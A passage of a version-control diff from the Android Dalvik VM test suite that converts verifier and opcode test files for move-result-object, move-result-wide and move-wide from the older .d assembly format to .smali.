+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;->foo()Ljava/lang/Object;
+
+    move-result-object v16
+    return-void
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d
deleted file mode 100644
index e0d80c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_1.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1/foo()J
-
-    move-result-wide v0
-    const-wide v2, 12345
-    
-    cmp-long v5, v0, v2
-    if-eqz v5, Label1
-    
-    const v0, 0
-    return v0
-    
-Label1:
-    const v0, 1
-    return v0
-
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali
new file mode 100644
index 0000000..580999b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_1.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;->foo()J
+
+    move-result-wide v0
+    const-wide v2, 12345
+    
+    cmp-long v5, v0, v2
+    if-eqz v5, :Label1
+    
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d
deleted file mode 100644
index 35eb63c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_2.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2/foo()J
-    move-result-wide v16
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali
new file mode 100644
index 0000000..e731a4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_2.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;->foo()J
+    move-result-wide v16
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d
deleted file mode 100644
index 5f53fa3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_3.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3/foo()Ljava/lang/Object;
-    move-result-wide v0
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali
new file mode 100644
index 0000000..50d584a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_3.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;->foo()Ljava/lang/Object;
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d
deleted file mode 100644
index 3c10cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_4.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4/foo()I
-    move-result-wide v0
-    
-    return-void
-.end method
-
-.method private foo()I
-.limit regs 2
-
-    const v0, 1234
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali
new file mode 100644
index 0000000..d2229fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_4.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;->foo()I
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 2
+
+    const v0, 1234
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d
deleted file mode 100644
index 9126ee2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_5.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5/foo()J
-    move-result-wide v1
-    
-    return-wide v0
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali
new file mode 100644
index 0000000..1371127
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_5.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;->foo()J
+    move-result-wide v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d
deleted file mode 100644
index a499958..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_6.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6/foo()J
-    nop
-    move-result-wide v1
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali
new file mode 100644
index 0000000..511302f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_6.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;->foo()J
+    nop
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d
deleted file mode 100644
index f6d47eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_7.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    goto Label1
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7/foo()J
-Label1:
-    move-result-wide v1
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali
new file mode 100644
index 0000000..71e0a10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_7.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;->foo()J
+:Label1
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d
deleted file mode 100644
index f385a2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_8.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8/foo()J
-
-    move-result-wide v16
-    return-void
-
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali
new file mode 100644
index 0000000..dbf59f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_8.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;->foo()J
+
+    move-result-wide v16
+    return-void
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d
deleted file mode 100644
index b0597f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_1.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-       const-wide v0, 1234
-       const-wide v14, 567989
-
-       move-wide v0, v14
-       
-       const-wide v4, 567989
-
-       cmp-long v10, v0, v4
-       if-nez v10, Label0
-       cmp-long v10, v14, v4
-       if-nez v10, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali
new file mode 100644
index 0000000..9e09123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_1.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const-wide v0, 1234
+       const-wide v14, 567989
+
+       move-wide v0, v14
+       
+       const-wide v4, 567989
+
+       cmp-long v10, v0, v4
+       if-nez v10, :Label0
+       cmp-long v10, v14, v4
+       if-nez v10, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d
deleted file mode 100644
index 22e992b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_2.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-
-       move-wide v0, v9
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali
new file mode 100644
index 0000000..67dd23c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_wide_2.java"
+.class  public Ldot/junit/opcodes/move_wide/d/T_move_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move-wide v0, v9
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d
deleted file mode 100644
index b8e3db0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
